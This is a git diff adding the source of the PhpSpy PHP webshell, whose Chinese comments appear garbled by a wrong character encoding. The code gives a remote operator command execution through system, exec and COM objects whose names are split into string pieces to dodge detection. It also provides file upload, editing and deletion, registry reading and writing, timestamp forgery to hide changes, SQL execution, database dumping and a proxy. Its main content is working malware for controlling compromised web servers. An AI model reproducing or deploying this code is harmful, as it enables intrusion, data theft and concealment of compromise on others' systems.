µ±Ç°Îļþ: ÊäÈëÐÂÎļþÃûÔò½¨Á¢ÐÂÎļþ
+
+ + + + + + + + + + + + + +
WebShell Mode
+ Ñ¡ÔñÖ´Ðк¯Êý: + ¡¡ + ÊäÈëÃüÁî: + +
+ +

Safe_Mode ÒÑ´ò¿ª, ÎÞ·¨Ö´ÐÐϵͳÃüÁî.

+ + + + + + + + + + + + + +
ɾ³ý Ŀ¼
×¢Òâ:Èç¹û¸ÃĿ¼·Ç¿Õ,´Ë´Î²Ù×÷½«»áɾ³ý¸ÃĿ¼ÏµÄËùÓÐÎļþ.ÄúÈ·¶¨Âð?
+ +
+ + + + + + + + + + + + + + + + +
Ö´ÐÐ SQL Óï¾ä
Host: + + User: + + Pass: + + DB: + +
+ + + + + + + + + + +
²é¿´PHPÅäÖòÎÊý×´¿ö
ÇëÊäÈëÅäÖòÎÊý(Èç:magic_quotes_gpc):
+ +
+ + + + + +
Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.
+
+ + + + + +
+ Password: + +
+read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + echo @rmdir($deldir) ? "Ŀ¼ɾ³ý³É¹¦!" : "Ŀ¼ɾ³ýʧ°Ü!"; + } + + // Åж϶ÁдÇé¿ö + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + // ±í¸ñÐмäµÄ±³¾°É«Ìæ»» + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + // »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } //end for + return implode('/', $mainpath_info); + } + + // ¼ì²éPHPÅäÖòÎÊý + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return No; + break; + case 1: + return Yes; + break; + default: + return $result; + break; + } + } +?> \ No newline at end of file diff --git a/php/phpspy/phpspy_2006.php b/php/phpspy/phpspy_2006.php new file mode 100644 index 0000000..d718723 --- /dev/null +++ b/php/phpspy/phpspy_2006.php @@ -0,0 +1,1309 @@ +"; + echo "×¢Ïú³É¹¦......

ÈýÃëºó×Ô¶¯Í˳ö»òµ¥»÷ÕâÀïÍ˳ö³ÌÐò½çÃæ >>>"; + exit; + } + + if ($_POST['do'] == 'login') { + $thepass=trim($_POST['adminpass']); + if ($admin['pass'] == $thepass) { + setcookie ("adminpass",$thepass,time()+(1*24*3600)); + echo ""; + echo "µÇ½³É¹¦......

ÈýÃëºó×Ô¶¯Ìø×ª»òµ¥»÷ÕâÀï½øÈë³ÌÐò½çÃæ >>>"; + exit; + } + } + if (isset($_COOKIE['adminpass'])) { + if ($_COOKIE['adminpass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== ÑéÖ¤½áÊø =====================*/ + +// ÅÐ¶Ï magic_quotes_gpc ״̬ +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} + +// ²é¿´PHPINFO +if ($_GET['action'] == "phpinfo") { + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() º¯ÊýÒѱ»½ûÓÃ,Çë²é¿´<PHP»·¾³±äÁ¿>"; + exit; +} + +// ÔÚÏß´úÀí +if (isset($_POST['url'])) { + $proxycontents = @file_get_contents($_POST['url']); + echo ($proxycontents) ? $proxycontents : "


»ñÈ¡ URL ÄÚÈÝʧ°Ü

"; + exit; +} + +// ÏÂÔØÎļþ +if (!empty($downfile)) { + if (!@file_exists($downfile)) { + echo ""; + } else { + $filename = basename($downfile); + $filename_info = explode('.', $filename); + $fileext = $filename_info[count($filename_info)-1]; + header('Content-type: application/x-'.$fileext); + header('Content-Disposition: attachment; filename='.$filename); + header('Content-Description: PHP Generated Data'); + header('Content-Length: '.filesize($downfile)); + @readfile($downfile); + exit; + } +} + +// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â +if ($_POST['backuptype'] == 'download') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"); + @mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"); + $table = array_flip($_POST['table']); + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "³ö´í: ".mysql_error(); + + $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql"); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + $mysqldata.= sqldumptable($currow[0]); + $mysqldata.= $mysqldata."\r\n"; + } + } + mysql_close(); + exit; +} + +// ³ÌÐòĿ¼ +$pathname=str_replace('\\','/',dirname(__FILE__)); + +// »ñÈ¡µ±Ç°Â·¾¶ +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_GET['dir']; + $nowpath = getPath($pathname, $dir); +} + +// Åж϶ÁдÇé¿ö +$dir_writeable = (dir_writeable($nowpath)) ? "¿Éд" : "²»¿Éд"; +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : ""; +$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | ×¢²á±í²Ù×÷" : ""; + +$tb = new FORMS; + +?> + + + +PhpSpy Ver 2006 + + + + + +
+tableheader(); +$tb->tdbody('
'.$_SERVER['HTTP_HOST'].''.$_SERVER['REMOTE_ADDR'].'
','center','top'); +$tb->tdbody('×¢Ïú»á»° | ·µ»ØPhpSpyĿ¼ | PHP»·¾³±äÁ¿ | ÔÚÏß´úÀí'.$reg.$phpinfo.' | WebShell | SQL Query | MySQL Backup'); +$tb->tablefooter(); +?> +
+ +headerform(array('method'=>'GET','content'=>'

³ÌÐò·¾¶: '.$pathname.'
µ±Ç°Ä¿Â¼('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
Ìø×ªÄ¿Â¼: '.$tb->makeinput('dir').' '.$tb->makeinput('','È·¶¨','','submit').' ¡¼Ö§³Ö¾ø¶Ô·¾¶ºÍÏà¶Ô·¾¶¡½')); + +$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'ÉÏ´«Îļþµ½µ±Ç°Ä¿Â¼: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','È·¶¨','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); + +$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'н¨ÎļþÔÚµ±Ç°Ä¿Â¼: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','È·¶¨','','submit'))); + +$tb->headerform(array('content'=>'н¨Ä¿Â¼ÔÚµ±Ç°Ä¿Â¼: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','È·¶¨','','submit'))); +?> +

+
+\n"; +// ɾ³ýÎļþ +if (!empty($delfile)) { + if (file_exists($delfile)) { + echo (@unlink($delfile)) ? $delfile." ɾ³ý³É¹¦!" : "Îļþɾ³ýʧ°Ü!"; + } else { + echo basename($delfile)." ÎļþÒѲ»´æÔÚ!"; + } +} + +// ɾ³ýĿ¼ +elseif (!empty($deldir)) { + $deldirs="$dir/$deldir"; + if (!file_exists("$deldirs")) { + echo "$deldir Ŀ¼ÒѲ»´æÔÚ!"; + } else { + echo (deltree($deldirs)) ? "Ŀ¼ɾ³ý³É¹¦!" : "Ŀ¼ɾ³ýʧ°Ü!"; + } +} + +// ´´½¨Ä¿Â¼ +elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { + if (!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if (file_exists("$mkdirs")) { + echo "¸ÃĿ¼ÒÑ´æÔÚ!"; + } else { + echo (@mkdir("$mkdirs",0777)) ? "´´½¨Ä¿Â¼³É¹¦!" : "´´½¨Ê§°Ü!"; + @chmod("$mkdirs",0777); + } + } +} + +// ÉÏ´«Îļþ +elseif ($doupfile) { + echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "ÉÏ´«³É¹¦!" : "ÉÏ´«Ê§°Ü!"; +} + +// ±à¼­Îļþ +elseif ($_POST['do'] == 'doeditfile') { + if (!empty($_POST['editfilename'])) { + $filename="$editfilename"; + @$fp=fopen("$filename","w"); + echo $msg=@fwrite($fp,$_POST['filecontent']) ? "дÈëÎļþ³É¹¦!" : "дÈëʧ°Ü!"; + @fclose($fp); + } else { + echo "ÇëÊäÈëÏëÒª±à¼­µÄÎļþÃû!"; + } +} + +// ±à¼­ÎļþÊôÐÔ +elseif ($_POST['do'] == 'editfileperm') { + if (!empty($_POST['fileperm'])) { + $fileperm=base_convert($_POST['fileperm'],8,10); + echo (@chmod($dir."/".$file,$fileperm)) ? "ÊôÐÔÐ޸ijɹ¦!" : "ÐÞ¸Äʧ°Ü!"; + echo " Îļþ ".$file." Ð޸ĺóµÄÊôÐÔΪ: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4); + } else { + echo "ÇëÊäÈëÏëÒªÉèÖõÄÊôÐÔ!"; + } +} + +// Îļþ¸ÄÃû +elseif ($_POST['do'] == 'rename') { + if (!empty($_POST['newname'])) { + $newname=$_POST['dir']."/".$_POST['newname']; + if (@file_exists($newname)) { + echo "".$_POST['newname']." ÒѾ­´æÔÚ,ÇëÖØÐÂÊäÈëÒ»¸ö!"; + } else { + echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." ³É¹¦¸ÄÃûΪ ".$_POST['newname']." !" : "ÎļþÃûÐÞ¸Äʧ°Ü!"; + } + } else { + echo "ÇëÊäÈëÏëÒª¸ÄµÄÎļþÃû!"; + } +} + +// ¿Ë¡ʱ¼ä +elseif ($_POST['do'] == 'domodtime') { + if (!@file_exists($_POST['curfile'])) { + echo "ÒªÐ޸ĵÄÎļþ²»´æÔÚ!"; + } else { + if (!@file_exists($_POST['tarfile'])) { + echo "Òª²ÎÕÕµÄÎļþ²»´æÔÚ!"; + } else { + $time=@filemtime($_POST['tarfile']); + echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." µÄÐÞ¸Äʱ¼ä³É¹¦¸ÄΪ ".date("Y-m-d H:i:s",$time)." !" : "ÎļþµÄÐÞ¸Äʱ¼äÐÞ¸Äʧ°Ü!"; + } + } +} + +// ×Ô¶¨Òåʱ¼ä +elseif ($_POST['do'] == 'modmytime') { + if (!@file_exists($_POST['curfile'])) { + echo "ÒªÐ޸ĵÄÎļþ²»´æÔÚ!"; + } else { + $year=$_POST['year']; + $month=$_POST['month']; + $data=$_POST['data']; + $hour=$_POST['hour']; + $minute=$_POST['minute']; + $second=$_POST['second']; + if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) { + $time=strtotime("$data $month $year $hour:$minute:$second"); + echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." µÄÐÞ¸Äʱ¼ä³É¹¦¸ÄΪ ".date("Y-m-d H:i:s",$time)." !" : "ÎļþµÄÐÞ¸Äʱ¼äÐÞ¸Äʧ°Ü!"; + } + } +} + +// Á¬½ÓMYSQL +elseif ($connect) { + if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { + echo "Êý¾Ý¿âÁ¬½Ó³É¹¦!"; + mysql_close(); + } else { + echo mysql_error(); + } +} + +// Ö´ÐÐSQLÓï¾ä +elseif ($_POST['do'] == 'query') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"); + @mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"); + $result = @mysql_query($_POST['sql_query']); + echo ($result) ? "SQLÓï¾ä³É¹¦Ö´ÐÐ!" : "³ö´í: ".mysql_error(); + mysql_close(); +} + +// ±¸·Ý²Ù×÷ +elseif ($_POST['do'] == 'backupmysql') { + if (empty($_POST['table']) OR empty($_POST['backuptype'])) { + echo "ÇëÑ¡ÔñÓû±¸·ÝµÄÊý¾Ý±íºÍ±¸·Ý·½Ê½!"; + } else { + if ($_POST['backuptype'] == 'server') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"); + @mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"); + $table = array_flip($_POST['table']); + $filehandle = @fopen($path,"w"); + if ($filehandle) { + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "³ö´í: ".mysql_error(); + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $filehandle); + fwrite($filehandle,"\n\n\n"); + } + } + fclose($filehandle); + echo "Êý¾Ý¿âÒѳɹ¦±¸·Ýµ½ ".$path.""; + mysql_close(); + } else { + echo "±¸·Ýʧ°Ü,ÇëÈ·ÈÏÄ¿±êÎļþ¼ÐÊÇ·ñ¾ßÓпÉдȨÏÞ!"; + } + } + } +} + +// ´ò°üÏÂÔØ PS:ÎļþÌ«´ó¿ÉÄܷdz£Âý +// Thx : С»¨ +elseif($downrar) { + if (!empty($dl)) { + $dfiles=""; + foreach ($dl AS $filepath=>$value) { + $dfiles.=$filepath.","; + } + $dfiles=substr($dfiles,0,strlen($dfiles)-1); + $dl=explode(",",$dfiles); + $zip=new PHPZip($dl); + $code=$zip->out; + header("Content-type: application/octet-stream"); + header("Accept-Ranges: bytes"); + header("Accept-Length: ".strlen($code)); + header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz"); + echo $code; + exit; + } else { + echo "ÇëÑ¡ÔñÒª´ò°üÏÂÔØµÄÎļþ!"; + } +} + +// Shell.Application ÔËÐгÌÐò +elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) { + $shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion'); + $a = $shell->ShellExecute($_POST['program'],$_POST['prog']); + echo ($a=='0') ? "³ÌÐòÒѾ­³É¹¦Ö´ÐÐ!" : "³ÌÐòÔËÐÐʧ°Ü!"; +} + +// ²é¿´PHPÅäÖòÎÊý×´¿ö +elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) { + echo "ÅäÖòÎÊý ".$_POST['phpvarname']." ¼ì²â½á¹û: ".getphpcfg($_POST['phpvarname']).""; +} + +// ¶Áȡע²á±í +elseif(($regread) AND !empty($_POST['readregname'])) { + $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell'); + var_dump(@$shell->RegRead($_POST['readregname'])); +} + +// дÈë×¢²á±í +elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) { + $shell= &new COM('W'.'Scr'.'ipt.S'.'hell'); + $a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']); + echo ($a=='0') ? "дÈë×¢²á±í½¡Öµ³É¹¦!" : "дÈë ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." ʧ°Ü!"; +} + +// ɾ³ý×¢²á±í +elseif(($regdelete) AND !empty($_POST['delregname'])) { + $shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll'); + $a = @$shell->RegDelete($_POST['delregname']); + echo ($a=='0') ? "ɾ³ý×¢²á±í½¡Öµ³É¹¦!" : "ɾ³ý ".$_POST['delregname']." ʧ°Ü!"; +} + +else { + echo "±¾³ÌÐòÓÉ Security Angel С×é angel [BST] ¶ÀÁ¢¿ª·¢,¿ÉÔÚ www.4ngel.net ÏÂÔØ×îа汾."; +} + +echo "

\n"; +/*===================== Ö´ÐвÙ×÷ ½áÊø =====================*/ + +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { + $tb->tableheader(); +?> + + Îļþ + ´´½¨ÈÕÆÚ + ×îºóÐÞ¸Ä + ´óС + ÊôÐÔ + ²Ù×÷ + +\n"; + echo " [$file]\n"; + echo " $ctime\n"; + echo " $mtime\n"; + echo " <dir>\n"; + echo " $dirperm\n"; + echo " ɾ³ý\n"; + echo "\n"; + $dir_i++; + } else { + if($file=="..") { + echo "\n"; + echo " ·µ»ØÉϼ¶Ä¿Â¼\n"; + echo "\n"; + } + } + } +}// while +@closedir($dirs); +?> + + + +
+".@date("Y-m-d H:i:s",@filectime($filepath)).""; + $mtime="".@date("Y-m-d H:i:s",@filemtime($filepath)).""; + } + @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4); + echo "\n"; + echo " "; + echo ""; + echo "$file\n"; + echo " $ctime\n"; + echo " $mtime\n"; + echo " $size KB\n"; + echo " $fileperm\n"; + echo " ÏÂÔØ | ±à¼­ | ɾ³ý | ¸ÄÃû | ʱ¼ä\n"; + echo "\n"; + $file_i++; + } +}// while +@closedir($dirs); +$tb->tdbody('
'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('downrar','Ñ¡ÖÐÎļþ´ò°üÏÂÔØ','','submit').''.$dir_i.' ¸öĿ¼ / '.$file_i.' ¸öÎļþ
','center',getrowbg(),'','','6'); + +echo "
\n"; +echo "\n"; +}// end dir + +elseif ($_GET['action'] == "editfile") { + if(empty($newfile)) { + $filename="$dir/$editfile"; + $fp=@fopen($filename,"r"); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents=htmlspecialchars($contents); + }else{ + $editfile=$newfile; + $filename = "$dir/$editfile"; + } + $action = "?dir=".urlencode($dir)."&editfile=".$editfile; + $tb->tableheader(); + $tb->formheader($action,'н¨/±à¼­Îļþ'); + $tb->tdbody('µ±Ç°Îļþ: '.$tb->makeinput('editfilename',$filename).' ÊäÈëÐÂÎļþÃûÔò½¨Á¢ÐÂÎļþ'); + $tb->tdbody($tb->maketextarea('filecontent',$contents)); + $tb->makehidden('do','doeditfile'); + $tb->formfooter('1','30'); +}//end editfile + +elseif ($_GET['action'] == "rename") { + $nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']); + $action = "?dir=".urlencode($dir)."&fname=".urlencode($fname); + $tb->tableheader(); + $tb->formheader($action,'ÐÞ¸ÄÎļþÃû'); + $tb->makehidden('oldname',$dir."/".$nowfile); + $tb->makehidden('dir',$dir); + $tb->tdbody('µ±Ç°ÎļþÃû: '.basename($nowfile)); + $tb->tdbody('¸ÄÃûΪ: '.$tb->makeinput('newname')); + $tb->makehidden('do','rename'); + $tb->formfooter('1','30'); +}//end rename + +elseif ($_GET['action'] == "fileperm") { + $action = "?dir=".urlencode($dir)."&file=".$file; + $tb->tableheader(); + $tb->formheader($action,'ÐÞ¸ÄÎļþÊôÐÔ'); + $tb->tdbody('ÐÞ¸Ä '.$file.' µÄÊôÐÔΪ: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4))); + $tb->makehidden('file',$file); + $tb->makehidden('dir',urlencode($dir)); + $tb->makehidden('do','editfileperm'); + $tb->formfooter('1','30'); +}//end fileperm + +elseif ($_GET['action'] == "newtime") { + $action = "?dir=".urlencode($dir); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + $tb->tableheader(); + $tb->formheader($action,'¿Ë¡Îļþ×îºóÐÞ¸Äʱ¼ä'); + $tb->tdbody("ÐÞ¸ÄÎļþ: ".$tb->makeinput('curfile',$file,'readonly')." ¡ú Ä¿±êÎļþ: ".$tb->makeinput('tarfile','ÐèÌîÍêÕû·¾¶¼°ÎļþÃû'),'center','2','30'); + $tb->makehidden('do','domodtime'); + $tb->formfooter('','30'); + $tb->formheader($action,'×Ô¶¨ÒåÎļþ×îºóÐÞ¸Äʱ¼ä'); + $tb->tdbody('
  • ÓÐЧµÄʱ¼ä´ÁµäÐÍ·¶Î§ÊÇ´Ó¸ñÁÖÍþÖÎʱ¼ä 1901 Äê 12 Ô 13 ÈÕ ÐÇÆÚÎå 20:45:54 µ½ 2038Äê 1 Ô 19 ÈÕ ÐÇÆÚ¶þ 03:14:07
    (¸ÃÈÕÆÚ¸ù¾Ý 32 λÓзûºÅÕûÊýµÄ×îСֵºÍ×î´óÖµ¶øÀ´)
  • ˵Ã÷: ÈÕÈ¡ 01 µ½ 30 Ö®¼ä, ʱȡ 0 µ½ 24 Ö®¼ä, ·ÖºÍÃëÈ¡ 0 µ½ 60 Ö®¼ä!
','left'); + $tb->tdbody('µ±Ç°ÎļþÃû: '.$file); + $tb->makehidden('curfile',$file); + $tb->tdbody('ÐÞ¸ÄΪ: '.$tb->makeinput('year','1984','','text','4').' Äê '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' Ô '.$tb->makeinput('data','18','','text','2').' ÈÕ '.$tb->makeinput('hour','20','','text','2').' ʱ '.$tb->makeinput('minute','00','','text','2').' ·Ö '.$tb->makeinput('second','00','','text','2').' Ãë','center','2','30'); + $tb->makehidden('do','modmytime'); + $tb->formfooter('1','30'); +}//end newtime + +elseif ($_GET['action'] == "shell") { + $action = "??action=shell&dir=".urlencode($dir); + $tb->tableheader(); + $tb->tdheader('WebShell Mode'); + + if (substr(PHP_OS, 0, 3) == 'WIN') { + $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe"; + $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; + echo "
\n"; + $tb->tdbody('ÎÞ»ØÏÔÔËÐгÌÐò ¡ú Îļþ: '.$tb->makeinput('program',$program).' ²ÎÊý: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35'); + $tb->makehidden('do','programrun'); + echo "
\n"; + } + + echo "
\n"; + $tb->tdbody('Ìáʾ:Èç¹ûÊä³ö½á¹û²»ÍêÈ«,½¨Òé°ÑÊä³ö½á¹ûдÈëÎļþ.ÕâÑù¿ÉÒԵõ½È«²¿ÄÚÈÝ.'); + + $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); + + $tb->tdbody('Ñ¡ÔñÖ´Ðк¯Êý: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' ÊäÈëÃüÁî: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit')); +?> + + + +
+ +tableheader(); + $tb->formheader($action,'¶Áȡע²á±í'); + $tb->tdbody('¼üÖµ: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','¶ÁÈ¡','','submit'),'center','2','50'); + echo ""; + + $tb->formheader($action,'дÈë×¢²á±í'); + $cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ'); + $tb->tdbody('¼üÖµ: '.$tb->makeinput('writeregname',$registre,'','text','56').' ÀàÐÍ: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' Öµ: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','дÈë','','submit'),'center','2','50'); + echo ""; + + $tb->formheader($action,'ɾ³ý×¢²á±í'); + $tb->tdbody('¼üÖµ: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','ɾ³ý','','submit'),'center','2','50'); + echo ""; + $tb->tablefooter(); +}//end reg + +elseif ($_GET['action'] == "proxy") { + $action = '?action=proxy'; + $tb->tableheader(); + $tb->formheader($action,'ÔÚÏß´úÀí','proxyframe'); + $tb->tdbody('
  • Óñ¾¹¦ÄܽöʵÏÖ¼òµ¥µÄ HTTP ´úÀí,²»»áÏÔʾʹÓÃÏà¶Ô·¾¶µÄͼƬ¡¢Á´½Ó¼°CSSÑùʽ±í.
  • Óñ¾¹¦ÄÜ¿ÉÒÔͨ¹ý±¾·þÎñÆ÷ä¯ÀÀÄ¿±êURL,µ«²»Ö§³Ö SQL Injection ̽²âÒÔ¼°Ä³Ð©ÌØÊâ×Ö·û.
  • Óñ¾¹¦ÄÜä¯ÀÀµÄ URL,ÔÚÄ¿±êÖ÷»úÉÏÁôϵÄIP¼Ç¼ÊÇ : '.$_SERVER['REMOTE_ADDR'].'
','left'); + $tb->tdbody('URL: '.$tb->makeinput('url','http://www.4ngel.net','','text','100').' '.$tb->makeinput('','ä¯ÀÀ','','submit'),'center','1','40'); + $tb->tdbody(''); + echo ""; + $tb->tablefooter(); +}//end proxy + +elseif ($_GET['action'] == "sql") { + $action = '?action=sql'; + $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost'; + $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root'; + $dbpassword = $_POST['dbpassword']; + $dbname = $_POST['dbname']; + $sql_query = $_POST['sql_query']; + $tb->tableheader(); + $tb->formheader($action,'Ö´ÐÐ SQL Óï¾ä'); + $tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','Á¬½Ó','','submit')); + $tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10')); + $tb->makehidden('do','query'); + $tb->formfooter('1','30'); +}//end sql query + +elseif ($_GET['action'] == "sqlbak") { + $action = '?action=sqlbak'; + $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost'; + $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root'; + $dbpassword = $_POST['dbpassword']; + $dbname = $_POST['dbname']; + $tb->tableheader(); + $tb->formheader($action,'±¸·Ý MySQL Êý¾Ý¿â'); + $tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','Á¬½Ó','','submit')); + @mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname); + $tables = @mysql_list_tables($dbname); + while ($table = @mysql_fetch_row($tables)) { + $cachetables[$table[0]] = $table[0]; + } + @mysql_free_result($tables); + if (empty($cachetables)) { + $tb->tdbody('ÄúûÓÐÁ¬½ÓÊý¾Ý¿â or µ±Ç°Êý¾Ý¿âûÓÐÈκÎÊý¾Ý±í'); + } else { + $tb->tdbody('
ÇëÑ¡Ôñ±í:'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'
±¸·ÝÊý¾ÝËù±£´æµÄ·¾¶:'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'
Ö±½ÓÏÂÔØµ½±¾µØ (ÊʺÏÊý¾ÝÁ¿½ÏСµÄÊý¾Ý¿â)
'); + $tb->makehidden('do','backupmysql'); + $tb->formfooter('0','30'); + } + $tb->tablefooter(); + @mysql_close(); +}//end sql backup + +elseif ($_GET['action'] == "phpenv") { + $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "²»ÔÊÐíÉÏ´«"; + $adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if ($dis_func == "") { + $dis_func = "No"; + }else { + $dis_func = str_replace(" ","
",$dis_func); + $dis_func = str_replace(",","
